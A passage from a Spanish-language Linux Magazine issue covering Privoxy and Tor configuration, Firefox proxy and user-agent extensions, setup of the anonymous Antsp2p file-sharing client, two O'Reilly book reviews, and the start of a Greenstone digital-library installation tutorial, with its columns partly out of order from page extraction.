identificarla posteriormente. Cuando se
haya finalizado sólo hay que hacer clic en
Ok. Para conmutar entre las distintas confi-
guraciones del proxy se usa la lista junto a
la entrada Proxy .
Siendo un Agente de Microsoft¿Qué razón tenemos para decirles a todos
que usamos Linux y preferimos como nave-
gador a Firefox?. No hay ninguna buena
razón para revelar esta información, espe-
cialmente si ciertas páginas dan un portazo
a los usuarios de Linux.
La extensión User Agent Switcher [6] nos
ayuda a realizar esta tarea. Después de ins-
talarlo y reiniciar el navegador web, se
selecciona User Agent Switcher en el menú
Tools y se escoge Internet Explorer 6 (u
Opera 8.5 si se prefiere); el User Agent Swit-
cher nos debería identificar en este
momento como Internet Explorer… afortu-
nadamente, esto no significa que tengamos
los problemas de seguridad que vienen con
el navegador Internet Explorer real. �
buscado www.linux-magazine.com y
cuándo. Privoxy puede impedir esto utili-
zando Socks 4a, que, al contrario que los
Socks 4 y Socks 5, no necesitan convertir
los nombres de equipo a direcciones IP.
Privoxy es un proxy de filtrado para
HTTP que a menudo se utiliza junto con
Tor. Puede leerse todo lo referente a Privoxy
como filtro web en el número de Linux
Magazine edición en castellano de Diciem-
bre de 2005 [4].
Instalando PrivoxyLos usuarios con Suse 9.3 y 10.0 simple-
mente tienen que ejecutar YaST para
instalar Privoxy. Si se tiene Debian, se teclea
apt-get install privoxy. Una vez terminada la
instalación, Suse ejecutará Privoxy automá-
ticamente cada vez que se encienda la
máquina; para que no ocurra esto, hay que
ejecutar YaST, ir a la solapa System y hacer
clic en el botón Runlevel Editor. Suse Linux
ejecuta a Privoxy en una jaula Chroot.
Privoxy se ejecuta normalmente en
Debian de manera automática tras la insta-
lación; si no sucediera, se puede ejecutar
como root el siguiente comando:
/etc/init.d/privoxy restart.
El siguiente paso es indicarle a Privoxy
que reenvíe las peticiones Socks de Tor. Para
el reenvío de estas peticiones Socks, los
usuarios de Suse tienen que editar el fichero
/var/lib/privoxy/etc/config e introducir la
siguiente línea debajo del quinto elemento.
FORWARDING:
forward-socks4a / U
127.0.0.1:9050 .
Téngase en cuenta el punto que aparece
tras el número del puerto; si se olvida de
PORTADA • Privoxy
28 Número 20 W W W . L I N U X - M A G A Z I N E . E S
[1] El proyecto Privoxy: http://www.
privoxy.org/
[2] Tor: http:// tor.eff.org/
[3] Libevent como Suse-RPM: http://
linux01.gwdg.de/~pbleser/
rpm-navigation.php?cat=Libraries/
libevent/
[4] “Los Guardianes”, de Thomas
Leichtenstern; Linux Magazine edi-
ción en castellano nº12, 2005; p. 40.
[5] La extensión Switch Proxy de Firefox
y Mozilla: https://addons.mozilla.org/
extensions/moreinfo.
php?application=firefox&id=125
[6] El User Agent Switcher para Mozilla
y Firefox: http://chrispederick.com/
work/useragentswitcher/
RECURSOS
Figura 4: El sitio web cree que el usuario vive en Alemania, ya que
el nodo de salida que contacta con el servidor se está ejecutando en
un servidor alemán.
Figura 5: La extensión “Switch Proxy” de Firefox proporciona una
solución sencilla para habilitar y deshabilitar un conjunto de proxies.
Las aplicaciones más conocidas
para compartir archivos
revelan las direcciones IP de
los usuarios. Esto significa que si
participamos en una red
convencional de intercambio de
archivos, alguien podría llegar a
descubrir quiénes somos, y llevado
al extremo, dónde vivimos. Este
problema está de rabiosa actualidad
debido a las recientes demandas
judiciales de la industria musical y
cinematográfica. Dependiendo de
qué lugar del mundo hablemos, el
temor a una demanda es menor en
comparación con una querella
criminal. Algunos países más
represivos mantienen un férreo
control sobre el uso de Internet, y
cualquiera que opere al margen de
los censores oficiales está en riesgo
de quedar bajo arresto.
Estas tensiones dentro de la
comunidad del intercambio de
archivos han dado lugar a un nuevo
fenómeno: las redes de pares (P2P)
anónimas. El intercambio anónimo
es una importante tendencia en la
evolución de Internet. Los clientes
basados en Java para la red de
intercambio anónima Antsp2p [1]
nos muestran lo lejos que han
llegado estos proyectos a la hora de
conseguir el objetivo del anonimato.
“La privacidad es un derecho
fundamental en todo el mundo y
debe ser protegido”, comenta
Gwren, jefe de desarrollo de
Antsp2p, en una reciente entrevista
[2]. ¿Cómo ayuda esta prometedora
herramienta a proteger la privacidad
del usuario? ¿Y qué tiene que ver el
intercambio de archivos con las
hormigas? Siga leyendo para
adentrarse en el mundo del
intercambio de archivos con
Antsp2p.
El Rastro de las
Feromonas
En la red Antsp2p el ordenador de
un usuario pasa automáticamente a
ser un nodo o par y reenvía
información cifrada de manera
transparente a otros usuarios. Para
entrar en la red el cliente intenta en
primer lugar localizar direcciones IP
próximas.
Las hormigas siguen usualmente el
rastro más fuerte de feromonas hasta
Antsp2p • PORTADA
29Número 20W W W . L I N U X - M A G A Z I N E . E S
Compartir archivos se ha convertido en el pasatiempo favorito de
muchos usuarios de Internet. Pero las aplicaciones convencionales
para compartir archivos tienen un gran inconveniente: no son
anónimas. El proyecto Antsp2p pretende cambiar esto.
POR KRISTIAN KISSLING
El protocolo Diffie-Hellman Key
Exchange Protocol introduce un
elemento de riesgo. Un atacante que
lleva a cabo un ataque de tipo “un
hombre en medio” puede interceptar la
clave secreta y usarla para descifrar los
paquetes de información en la
conexión. Sin embargo, se prevee
introducir un certificado de intercambio
que permita solucionar este fallo.
Riesgos Potenciales deSeguridad
Compartir archivos de manera anónima con Antsp2p
HORMIGUITAS
ejecución al archivo descargado
(puede que necesitemos hacerlo
desde root) e iniciamos la
instalación:
nonumber
chmod u+x U
AntsP2P_Setup_U
beta1.4.7_p0.8.4.jar
java -jar U
AntsP2P_Setup_U
beta1.4.7_p0.8.4.jar
El cliente incluye un instalador muy
adecuado basado en interfaz gráfica.
El instalador nos pide en primer
lugar que cerremos todos los
programas activos antes de
continuar (parecido a un instalador
de Windows). El segundo paso es
especificar el directorio de
instalación de Antsp2p. Puede que
encontremos alguna dificultad a la
hora de establecer un enlace en el
paso 3, pero esto no afecta a la
instalación, aparte del mensaje de
error que se muestra a la derecha.
En el paso 4 el instalador nos
pregunta si estamos de acuerdo con
nuestra elección antes de comenzar
la instalación en el paso 5. Por
último, Antsp2p debería mostrar un
mensaje de éxito. Para ejecutar la
herramienta de intercambio de
archivos nos ubicamos en el
directorio con los archivos de
instalación /home/user/ANtsP2P (en
la mayoría de los casos) y cuando
estemos allí, basta con teclear
./ANtsP2P.
Primer ContactoEn primer lugar, un asistente de
configuración basado en interfaz
gráfica nos pide el idioma y el tipo
de conexión que tenemos. El
apartado de la dirección IP es algo
más complicado: puede que la
queramos dejar en blanco de
momento. A continuación tecleamos
una ruta para guardar los archivos
descargados. Por último,
seleccionamos el navegador que
Antsp2p va a lanzar al abrir los
enlaces, y ya está. La interfaz gráfica
de intercambio de archivos se
muestra en la Figura 1.
Reenvío de puertosSi su máquina está detrás de un
router, éste tendrá generalmente una
IP que usará para navegar por
Internet, siendo esta misma
dirección el punto de entrada a
nuestra red de cualquier
información que queramos
descargar. En este caso, nuestra
dirección IP sólo será válida dentro
del entorno de la red local. Esto es
malo si queremos que otros clientes
P2P contacten con nosotros. En este
supuesto, el router tiene que
reenviar los datos desde los puertos
requeridos por los paquetes
recibidos en nuestra máquina local.
Para mantener este proceso bajo
control tendremos que configurar la
interfaz de nuestro router. Para más
detalles podemos verificar el manual
del router o la página Web del
fabricante. Muchos routers nos
una fuente de comida sin saber en
realidad dónde les está llevando. De
una forma parecida, un par de
Antsp2p vecino no sabe dónde
encontrar un archivo, pero sabe cual
es la mejor ruta hasta el siguiente
nodo. Esta es la ruta que la mayoría
de las peticiones van a seguir, y la
que llevará al nodo hasta el archivo
solicitado a través de un rastro de
otros pares.
Esta técnica evita que alguien
desde un nodo rompa el cifrado de
los paquetes que se reenvían desde
esa máquina. Se usa el protocolo DH
para el intercambio de las claves
secretas de cifrado (véase el cuadro
“Riesgos Potenciales de Seguridad”).
Dentro de la red P2P los
ordenadores se identifican por
medio de números ID que se asignan
a cada participante tras establecer
con éxito un enlace. El principio
básico de Antsp2p reside en el hecho
de que nadie puede mapear una ID a
una dirección IP. Si un vecino
descarga un archivo de nuestro
ordenador, puede que veamos la IP
del ordenador y la ID que hace la
petición, aunque el vecino y el nodo
que hace la petición no suelen ser el
mismo. El vecino es simplemente un
intermediario y no tiene manera de
ver la información que es reenviada
por la máquina vecina, ya que dicha
información está cifrada. Esto es lo
que mantiene anónimo el
intercambio de archivos en la red
Antsp2p. Sin embargo, el anonimato
tiene un precio: Antsp2p es bastante
lento, y el número máximo de nodos
está limitado.
Instalar y ConfigurarLa versión beta de Antsp2p
disponible en este momento en la
página Web del proyecto [1] es la
1.4.7. La versión actual supone una
instalación previa del entorno Java
versión 1.5 [3]. Damos permisos de
PORTADA • Antsp2p
30 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 1: La interfaz gráfica de Antsp2p tras iniciarlo. Tenemos que esperar a que el programa
encuentre un vecino antes de que podamos comenzar a buscar archivos.
Si nuestra máquina está ubicada detrás
de un firewall debemos abrir los puer-
tos 4567 y 4568 para permitir que
entren los paquetes. Los usuarios de
Suse pueden hacerlo directamente
desde YaST.
Hormigas Cortafuegos
muestran una interfaz gráfica de
configuración cuando tecleamos en
nuestro navegador
http://192.168.0.1 ó
http://192.168.1.1. Tenemos que
reenviar los puertos TCP 4567 y
4568 para Antsp2p (véase Figura 2).
Si vamos a usar otro puerto distinto
al 4567, el segundo puerto direcciona
por defecto el puerto de salida más 1.
Si tenemos intención de usar Antsp2p
de manera regular durante un largo
periodo de tiempo necesitamos
conocer cómo administra
dinámicamente las direcciones IP
nuestro proveedor de Internet. Muchos
proveedores comerciales de Internet
asignan una nueva dirección IP vía
DHCP a intervalos regulares
(normalmente 24 horas). Esta
actualización de la dirección IP puede
interferir con la configuración de
nuestro Antsp2p.
Sin importar el tipo de router que
tengamos, AntsP2P necesita una
dirección IP visible del router en
Internet. Para averiguar esta dirección
sólo tenemos que navegar hasta una
página de búsquedas, teclear my ip y
abrir alguna de las páginas que
obtenemos como resultado. Esa página
nos indica la dirección IP visible que
tiene nuestra máquina en Internet en
ese momento. Tomamos nota de la
dirección IP, ya que la necesitaremos
luego para configurar Antsp2p.
¡Monten a sus Hormigas!Si echamos un vistazo a la interfaz
gráfica de Antsp2p (véase la Figura 1),
apreciamos dos pestañas tituladas Hit
Start Ants! y Help. La primera pestaña
nos muestra entre otras cosas el estado
actual: Ant not running. El campo ID
está vacío, y la dirección mostrada
bajo el campo señala 0:0:0.
Hora de montar a nuestras
hormigas: tecleamos 4567 como
puerto y pulsamos el botón Settings.
Aparece una tercera pestaña al
comienzo de la página que podemos
pulsar para acceder al menú de
configuración (véase Figura 3).
La línea IP or hostname es
importante, tecleamos nuestra
dirección IP visible ahí. No debemos
pulsar sobre el botón Update o el
programa restablece la dirección IP
local. En lugar de eso verificamos
Remember this address, y volvemos a
la pestaña Hit Start Ants!
Bienvenido al VecindarioLa cosa comienza a ponerse caliente.
En primer lugar, aparee una ID de
diez dígitos en el cuadro ID. Un reloj
en el cuadro justo abajo lleva el
tiempo. La pestaña muestra ahora el
mensaje Connected [Peers: n], donde
n representa el número de nodos
vecinos que ha encontrado el
Antsp2p • PORTADA
31Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 2: El reenvío de puertos en los routers se configura generalmente a través de una
interfaz Web.
Figura 3: Antes de ejecutar Antsp2p acudimos a la pestaña Settings para introducir nuestra
dirección IP. No debemos pulsar el botón “Update”.
resultados (véase Figura 4), esto
depende simplemente del número de
pares que Antsp2p haya descubierto.
Podemos pulsar el botón derecho del
ratón para que aparezca el menú y
seleccionar Download file (Create
secure connection) from n, donde n
es la ID del propietario del archivo.
El archivo aparece entonces en la
pestaña Downloads.
Suministro y DemandaSi dejamos Antsp2p ejecutándose
durante un buen rato, el proceso se
acelera algo, pero no debemos
esperar que el intercambio anónimo
de archivos pueda competir con
Amule o Ktorrent de momento.
Después de todo, normalmente sólo
hay una fuente por cada fichero.
Una aspecto destacable de Antsp2p
es que la herramienta tiene una
función de continuar. Esto nos
permite reanudar las descargas
desde donde las dejamos. La pestaña
Upload nos indica si alguien está
descargando alguno de nuestros
archivos. Para compartir archivos
simplemente los movemos al
directorio de descarga que hayamos
especificado.
Antsp2p permite un ajuste fino. La
pestaña Settings nos permite
configurar el número máximo de
vecinos, el número máximo de
conexiones seguras permitidas o el
número máximo de peticiones
permitidas. Gracias a More search
results podemos añadir más espacio
de descarga para los archivos
locales, mejorando de esta manera la
velocidad de la red. Si pulsamos en
Optimize Index le indicamos a
Antsp2p que pare lo que sea que
esté haciendo durante un minuto y
que mejore el rendimiento del nodo
mediante una optimización del
índice local. Desafortunadamente, la
red Antsp2p es tan lenta que esta
ligera modificación apenas
proporciona una mejora apreciable.
ConclusionesAntsp2p está en el camino adecuado
y su diseño parece prometer. La
interfaz es muy amigable, y el futuro
del intercambio de archivos
probablemente se encamina hacia el
anonimato. Dicho esto, nuestro
primer acercamiento ha sido una
experiencia discreta. Debemos ser
muy pacientes para poder disfrutar
realmente del intercambio de
archivos con esta herramienta.
Además, como casi a diario aparecen
nuevas versiones beta de Antsp2p,
posiblemente un lanzamiento más
reciente solucione alguno de los
problemas de rendimiento que
hemos encontrado con la versión
1.4.7.
Gwren, el desarrollador, vislumbra
el proyecto en su conjunto desde
una perspectiva a largo plazo: “No
sé en qué acabará todo esto, pero
estoy seguro de que la gente
terminará encontrando el modo de
intercambiar información de una
manera segura y eficiente”. Hasta
que encontremos la manera perfecta,
merece la pena probar Antsp2p. �
programa. Una aplicación de chat
situada en su propia pestaña IRC nos
facilita la búsqueda de pares. Esta
aplicación nos lleva a una sala de
chat con otros usuarios de Antsp2p,
pero no es necesario hablar. Es
simplemente la manera que tiene
Antsp2p de conocer nuevas rutas
hasta las direcciones IP. No hay que
preocuparse, como nadie conoce la
ID que corresponde a cada dirección
IP, nuestro anonimato no se ve
comprometido por la sesión de chat.
El siguiente paso es ser paciente.
Las hormigas son pequeños y
ocupados insectos, pero Antsp2p es
más parecido a una serpiente bajo
hielo: puede llevarle bastante
tiempo (hasta 20 minutos) antes de
que contacte con el primer vecino.
Este paso ha de completarse antes
de que aparezcan otras pestañas
como Downloads, Uploads y Search.
A continuación la línea de estado
nos indica que Your firewall is
correctly configured. Ahora ya somos
parte de la red Antsp2p y podemos
lanzar búsquedas.
Abrimos la pestaña Search,
tecleamos nuestra clave de búsqueda
y pulsamos Search by string. De
nuevo, puede llevarnos un buen rato
hasta que comiencen a aparecer los
PORTADA • Antsp2p
32 Número 20 W W W . L I N U X - M A G A Z I N E . E S
[1] Página del proyecto Antsp2p: http://
antsp2p.sourceforge.net
[2] Entrevista con Gwren en Slyck: http://
www.slyck.com/news.php?story=567
[3] Java Runtime Environment, Versión
1.5: http://java.sun.com/j2se/1.5.0/
download.jsp
RECURSOS
Figura 4: Como la red de intercambio aún no tenía demasiados usuarios en el momento de
escribir este artículo, hay pocas cosas compartidas. En la mayoría de los casos sólo tenemos
una fuente para cada archivo.
Libros • EVALUACIÓN
33Número 20W W W . L I N U X - M A G A Z I N E . E S
aquí es donde viene el problema: Perso-
nalmente, una vez había comprendido la
esencia de Ajax, necesitaba algo más
fuerte, más formal, no tan paternalista,
pero claro, en este libro no lo encontré. No
es el estilo Head Rush/First.
Además, debido a la abundancia de
cuadros, dibujos, flechas y esquemas, el
ratio de información por página puede lle-
gar a ser bastante bajo. Vamos, que poca
miga para tanto pan. Además, según los
autores, la repetición es uno de los pilares
del aprendizaje. Estoy de acuerdo en el
contexto de una clase con alumnos, pero
en un libro, uno siempre puede volver
atrás y releer ese capítulo donde te expli-
can el concepto que has olvidado. ¡Es un
libro! Sin embargo, con Head Rush… algu-
nas veces me encontraba preguntándome:
“Si esto ya lo han tocado ¿por qué me lo
vuelven a explicar?”
Los ejemplos en los siguientes capítu-
los, para mí, tendían a descafeinearse (en
clara contradicción con lo que se anun-
ciaba en la portada), más que por los
ejemplos en sí, por mi ansia de aprender
más de lo que me ofrecían. Desde luego
esta línea de libros no es para el desarro-
llador hardcore. Para ser justos, tampoco
lo pretende.
Creo que el público ideal para este tipo
de libro es el usuario que necesita una
introducción rápida a la tecnología que
aborda para un hack rápido en un
pequeño proyecto.
Y hablando de hacks…
Autor: Brett McLaughlin
Idioma: Inglés
Formato: Tapa blanda, 413 páginas
Editorial: O’Reilly
ISBN: 0-596-10225-9
Precio: 39,95 euros
LINUX SERVER HACKSVolume Two
La serie de Hacks
de O’Reilly abarca
una gran variedad
de temas: desde
Perl a la PSP, desde
Amazon hasta
Apache. En este
caso, el volumen
que voy a comen-
tar es la segunda
parte del popular Linux Server Hacks.
Seamos claros desde el principio: ¿Le vale la
pena al administrador de sistemas tener este
volumen en su estantería? Sinceramente, sí.
¿Es un volumen imprescindible? Sincera-
mente, no. Los volúmenes de la serie Hacks
son en esencia recetarios con soluciones auto-
contenidas a problemas discretos. De hecho,
en el sitio de O’Reilly animan a los visitantes a
enviar sus propios trucos con las siguientes
palabras:
”¿Tienes una solución no obvia a un pro-
blema interesante? Remite tu hack y
compártelo con otros en línea.”
Y, claro, eso es fantástico para ti… si tienes
el mismo problema.
Los libros de Hacks aportan muchas solu-
ciones directas a problemas concretos. Son
ideales para encontrar la clave para ese obstá-
culo que se interpone entre tú y tu fin de
semana, pero nunca podrán sustituir a un
buen manual. El manual ideal debe contener
todas las soluciones a todos los problemas del
software que documenta. En los volúmenes
de Hacks se documentan sólo los problemas
con los que se ha encontrado el autor… y que
ha podido resolver. Hay una gran diferencia.
Lo que es más, algunos hacks propuestos,
si bien interesantes, parecen no casar bien con
los otros trucos del libro. Así ocurre con los
trucos que versan sobre cómo introducir
Linux en la sala de máquinas y cosas que evi-
tar como novato, que de simples, más que
hacks, parecen los consejos de la abuelita (la
abuelita de los sysadmins, claro está).
En resumen, creo que muchos de los libros
de la serie Hacks valen la pena (al menos los
que yo tengo la valen), pero no esperes aho-
rrar espacio en tu biblioteca, porque no
pueden sustituir a los manuales.
Autores: Bill von Hagen y Brian K. Jones
Idioma: Inglés
Formato: Tapa blanda, 456 páginas
Editorial: O’Reilly
ISBN: 0-596-10082-5
Precio: 29,95 euros
Este mes, en nuestra sección de
evaluación, echamos un vistazo a
dos ejemplos típicos de las colec-
ciones atípicas de O’Reilly, las series
Head Rush/Head First y Hacks…
HEAD RUSH AJAXLos Head Rush/
Head First son
libros/tutoriales
que pretenden
transmitir conoci-
mientos de
manera rápida e
intuitiva al lector.
Utilizan un estilo
ligero, con abundancia de ilustraciones,
repasos y ejemplos acumulativos hasta lle-
gar a la solución final.
Este es el caso de Head Rush Ajax,
según el subtítulo, una guía de aprendi-
zaje cafeinada al mundo de las páginas
web dinámicas (en inglés la oración ante-
rior queda un poco mejor) e introduce al
lector a la programación de servicios web
con esta tecnología.
En principio, el libro parece cumplir las
expectativas que levanta: El paso es ligero
y acelerado, a través de ejemplos seleccio-
nados, se ilustran los problemas de las
aplicaciones web tradicionales y se explica
cómo Ajax puede ser la solución. Conti-
núa con un proyecto sencillo (muy
sencillo), que migra de servicio web tradi-
cional (basado en PHP y reloads de
página) a servicio web Ajax, y, honesta-
mente, para el profano, aclara muy bien
cuáles son los principios de esta tecnolo-
gía, cómo se usa y para qué sirve.
Las explicaciones claras, las ilustracio-
nes a través de ejemplos y los ejercicios de
repaso siguen todo a lo largo del libro… y
Head Rush Ajax y Linux Server Hacks
LIBROSO’Reilly se caracteriza por ser una editorial que, además de publicar
libros convencionales sobre tecnología y en especial sobre
informática, gusta de romper moldes y tomar riesgos en cuanto a
formatos y contenidos. Esto, como veremos, puede ser bueno y puede
ser malo. POR PAUL BROWN
Waikato en Nueva Zelanda [1]. Elpaquete Greenstone proporciona unanueva forma de organizar, preservar ypublicar información en Internet o en unCD/DVD. No se necesita de ningún soft-ware adicional para acceder a unacolección de documentos Greenstone.Valdría con cualquier navegador web.
Una biblioteca Greenstone puede ges-tionar gran cantidad de tipos diferentesde formatos de documentos, incluidosHTML, PostScript, PDF y MS-Word. Dehecho, Greenstone no está limitado adocumentos de texto, sino que ademáspuede gestionar documentos de imagen,audio y vídeo.
Esta herramienta consigue la indexa-ción de todo el texto almacenado,permitiendo a los usuarios la búsquedaen el contenido de los documentos o enlos metadatos almacenados, tales comoel título y autor. Greenstone es ademásaltamente configurable, permitiendo alos usuarios el diseño de la apariencia ydel comportamiento de la colección, asícomo del interfaz web.
La aplicación soporta múltiples len-guajes, incluidos el Árabe, Chino, Inglés,Francés, Maorí y Español entre otros.Puedes encontrar ejemplos de bibliote-cas digitales desarrolladas conGreenstone en [2] y [3].
PreparaciónGreensone requiere de un servidor weby, naturalmente, Apache es el recomen-dado. Supondremos que el servidor webApache ya está instalado y nos centrare-mos en cómo configurarlo para quefuncione con la herramienta. Además,Apache está disponible para la mayoría
de las distribuciones Linux, y en todocaso se puede descargar de [5].
Otro de los requisitos de Greenstone esPerl. Para comprobar que Perl ya está insta-lado en nuestro sistema podemos abrir unterminal y escribir perl -v para ver si apareceun mensaje donde se indica la versión delintérprete. Como en el caso anterior, lamayoría de las distribuciones Linux vienencon una versión de Perl disponible.
Nuestra aplicación se ejecuta en la mayo-ría de los Sistemas Operativos además deLinux, existiendo una versión para Solaris,Mac OS/X y Windows. De hecho, se podráejecutar en casi cualquier variante de Unix.Naturalmente para compilar Greenstonedesde su código fuente en Unix, necesitare-mos del compilador C/C++ de GNU(GCC) y, eso sí, del Gestor de Bases deDatos de GNU (GDBM).
InstalaciónLo primero que hay que hacer para instalarGreenstone es descomprimir el fichero tar:
$ tar xzvf gsdl-2.62-unix.tar.gz
La última versión tiene un instalador quenos guía pasa a paso por el proceso de insta-lación. Para ejecutar este instalador:
$ cd gsdl-2.62-unix
$ ./setupLinux.bin
El programa es instalado en /usr/local/gsdl
por defecto, pero esto requiere de privile-gios de administrador. De todas maneras esposible configurar la instalación para queésta se produzca en el directorio home delusuario. Existen tres opciones diferentes deinstalación:
Publicar documentos en la web essencillo, pero los bibliotecarios,documentalistas y otros expertos
necesitan sistemas más sofisticados paraorganizar la información en coleccionesdigitales. Una opción es construir una red denotas e índices estáticos, aunque esta alter-nativa es demasiado poco flexible,requiriendo un incremento del trabajo yactualizaciones constantes. Otras coleccionesdigitales hacen uso de scripts caseros y otrasherramientas propias, pero estas herramien-tas vuelven a necesitar un trabajoconsiderable y un mantenimiento continuo.
Una opción para los usuarios de softwarelibre que quieren construir colecciones digi-tales de una manera rápida y flexible esGreenstone. Greenstone es un conjunto deherramientas que pueden ser usadas para laconstrucción de nuestras propias bibliotecasdigitales. Este software no sólo indexa nues-tros documentos, sino que ademásproporciona un interfaz para la definición yorganización de los metadatos. La herra-mienta Greenstone proporciona a losdocumentalistas y gestores de coleccionescierta ventaja en la tarea de crear libreríasdigitales elegantes y altamente estructuradas.
En este artículo introduciremos el soft-ware para la generación de coleccionesdigitales Greenstone, y describiremos cómoinstalarlo y configurarlo. Adicionalmentemostraremos cómo construir una bibliotecadigital haciendo uso de un DVD que hemoscreado a partir de un montón de artículosde Linux Magazine descargados de Internety clasificados por número.
Qué es GreenstoneGreenstone es un programa de bibliotecadigital desarrollado en la Universidad de
PRÁCTICO • Greenstone
34 Número 20 W W W . L I N U X - M A G A Z I N E . E S
El paquete Greenstone te ayuda a construir tu propia biblioteca
digital. POR CHI-YU HUANG
Construyendo Bibliotecas Digitales con Greenstone
EL COLECCIONISTAEL COLECCIONISTAConstruyendo Bibliotecas Digitales con Greenstone
• Biblioteca Web (Web Library)
• Código Fuente (Source Code)
• Personalizada (Custom)
Si seleccionamos la segunda opción, Código
Fuente, el instalador copiará todos los fiche-
ros necesarios en los directorios de destino.
De esta manera podremos compilar el
código fuente con:
$ ./configure
$ make && make install
El tiempo de compilación es variable,
dependiendo de las características de la
máquina. Si estamos usando una máquina
Linux sobre un PC Intel x86 y es la primera
vez que usamos Greenstone, se recomienda
seleccionar la primera opción: Web Library,
que es la que instalará los binarios ya pre-
compilados. Esta opción sólo tardará unos
minutos. Al final de la instalación, seremos
consultados por una contraseña de admi-
nistración.
Montando el Servidor WebSuponiendo que estamos usando el servi-
dor Apache y que éste ya está en
funcionamiento, seguramente necesitare-
mos los privilegios de administrador (root)
para realizar los cambios que vienen a con-
tinuación. Como es costumbre, si no
disponemos de dichos privilegios debere-
mos hablar educadamente con el
administrador del sistema para que nos
eche una mano. Otra opción sería instalar y
ejecutar Apache como un usuario normal.
El servidor web debe poder ejecutar el
programa de biblioteca, que corresponde
con la aplicación web de biblioteca de
Greenstone. Usaremos la directiva
ScriptAlias de Apache para configurar un
directorio cgi-bin para nuestra aplicación.
Esto lo haremos añadiendo las siguientes
directivas al fichero de configuración de
Apache, httpd.conf:
ScriptAlias /gsdl/cgi-bin U
“/home/myuser/local/gsdl/cgi-bin”
<Directory U
“/home/myuser/local/gsdl/cgi-bin”>
Options None
AllowOverride None
</Directory>
Necesitaremos además configurar el direc-
torio de Greenstone para que sea accesible
por web, añadiendo la siguiente directiva
Alias tras la directiva ScriptAlias de nuestro
fichero de configuración:
Alias /gsdl U
“/home/myuser/local/gsdl”
<Directory U
“/home/myuser/local/gsdl”>
Options Indexes
MultiVires U
FollowSymLinks
AllowOverride None
Order allow, deny
Allow from all
</Directory>
Hay que fijarse en la referencia a
/home/myuser/local/gsdl en las directivas
anteriores. Es necesario cambiar este
camino por el directorio donde tengamos
instalado el programa Greenstone.
Una vez reiniciado el servidor Apache,
podemos acceder a Greenstone a través
de nuestro navegador web y yendo a la
dirección mostrada [6]. Podemos omitir
el puerto de la URL si nuestro servidor
web está funcionando en el puerto por
defecto 80. Por otro lado, si estamos eje-
cutando Apache como un usuario no
privilegiado y hemos modificado el
puerto de acceso, deberemos especifi-
carlo en la URL.
La Estructura de GreenstoneLa estructura de directorio de Greenstone
es mostrada en la Figura 1. Cuando cons-
truimos una nueva colección ésta es
creada en una nueva carpeta, llamada
collection_name, en el directorio de colec-
ciones de Greenstone
/home/myuser/local/gsdl/collect. Cada
colección contiene la misma estructura
directorio y subdirectorios (ver Figura 1).
En el directorio import es donde debe-
mos localizar nuestro material original. El
directorio archive contiene los resultados
del proceso de importación. El directorio
building es un directorio temporal usado
durante el proceso de construcción de la
colección. Su contenido es movido al
directorio index una vez ha concluido el
proceso. El directorio etc contiene la infor-
mación de configuración de la colección,
localizada principalmente en el fichero
collect.cfg. El directorio images contiene
las imágenes específicas de la colección.
En el directorio perllib podemos encontrar
los diferentes programas Perl específicos
de la colección. Para obtener más infor-
mación de la estructura de directorios del
sistema Greenstone es necesario consul-
tar la Guía de Usuario [8].
Construyendo con GLI
Para poder empezar a ver cómo funciona
realmente Greenstone, mostraremos cómo
construir una colección de biblioteca digital
haciendo uso de los archivos en DVD des-
cargados de Linux Magazine. Hay que notar
que esta colección es sólo para uso perso-
nal. Como norma general es importante
asegurarnos de cumplir los requisitos de la
licencia para cualquier material que publi-
quemos en formato biblioteca digital.
Nos aseguramos de que el DVD está
introducido en la unidad y que está mon-
tado. Necesitamos conocer dónde está el
directorio de montaje. Por ejemplo, en
Ubuntu el DVD se monta en /media/cdrom.
Ahora podemos construir la colección
usando el Interfaz de Biblioteca de Greens-
tone (Greenstone Librarian Interface – GLI).
La GLI es una aplicación gráfica incluida en
la distribución Greenstone que nos permite
construir y adaptar nuestras colecciones de
manera sencilla mediante el uso del ratón.
GLI es una aplicación Java que necesita del
Java Runtime Environment 1.4 de Sun. Para
ejecutar GLI tenemos que escribir:
cd /home/myuser/local/gli
./gli.sh
Cuando ejecutamos GLI por primera vez
seremos consultados por la URL de nuestra
biblioteca Greenstone, que como ya hemos
comentado se encuentra localizada en [6].
GLI nos proporciona un entorno de tipo
walkthrough para la construcción de
Greenstone • PRÁCTICO
35Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Estructura de una instalación
Greenstone.
asignada a una carpeta es heredara portodos los ficheros incluidos en ésta.
Una vez copiados los documentos (odirectorios) al área de colección, podríamosnecesitar cambiar los permisos de los fiche-ros para lograr la correcta construcción deésta:
cd /home/myuser/local/gsdl/collect/U
limuxmag/import
chmod -R +w *
Ahora estamos listos para la construcción dela colección. Para este ejemplo, hemoscopiado sólo los artículos de los números de1 al 4. De esta manera lograremos disminuirel tiempo del proceso de construcción. Sideseamos trabajar con el archivo completodeberemos arrastrar todos los directorios,pero habrá que estar preparados a esperar unpoco hasta que se complete todo el procesode construcción.
Para construir la colección sólo hay que iral panel Create y pulsar sobre el botón Build
Collection. Una vez esté finalizado, nuestracolección estará disponible para su acceso.Para poder verla en nuestro navegador web,deberemos pulsar sobre el botón Preview
Collection. Como ya se ha comentado, en elcaso de que existan metadatos, éstos seránextraídos automáticamente durante el pro-ceso de construcción. En este caso hemostenido que realizar algunos arreglillos demanera manual. Desde el panel Enrich
hemos añadido el número de la publicaciónde Linux Magazine en el campo dc.Descrip-
tion a nivel de carpeta. Haciendo esto hemoslogrado que todos los artículos de una mismapublicación queden agrupados cuando seestablezca una clasificación de navegación.
Hay que destacar que no existe un campopara ‘número de publicación’ en el con-junto de metadatos establecidos por DublinCore. Es por eso por lo que hemos usado elcampo dc.Description para almacenar dichainformación. Adicionalmente, a nivel defichero, hemos añadido la entrada paratítulo en el campo dc.Title (en sustitucióndel poco útil valor encontrado automática-mente). Hemos añadido la sección de LinuxMagazine (ej: Noticias Kernel, Práctico,Desarrollo) al campo de metadatosdc.Resource Identifier. El prefijo dc viene deDublin Core, que corresponde con el están-dar de metadatos adoptado por Greenstone.
En Greenstone los documentos y lasespecificaciones de metadatos son importa-dos por módulos software denominadosplugins. Éstos permiten que la aplicaciónsoporte diferentes formatos de documentos.Podemos añadir o eliminar plugins depen-diendo de los documentos que tengamos ennuestra colección (los únicos obligatoriosson GAPlug, ArcPlug y RecPlug). Puesto queel archivo de documento de Linux Maga-zine está compuesto principalmente pordocumentos PDF y HTML, los plugins másimportantes para esta colección seríanPDFPlug y HTMLPlug.
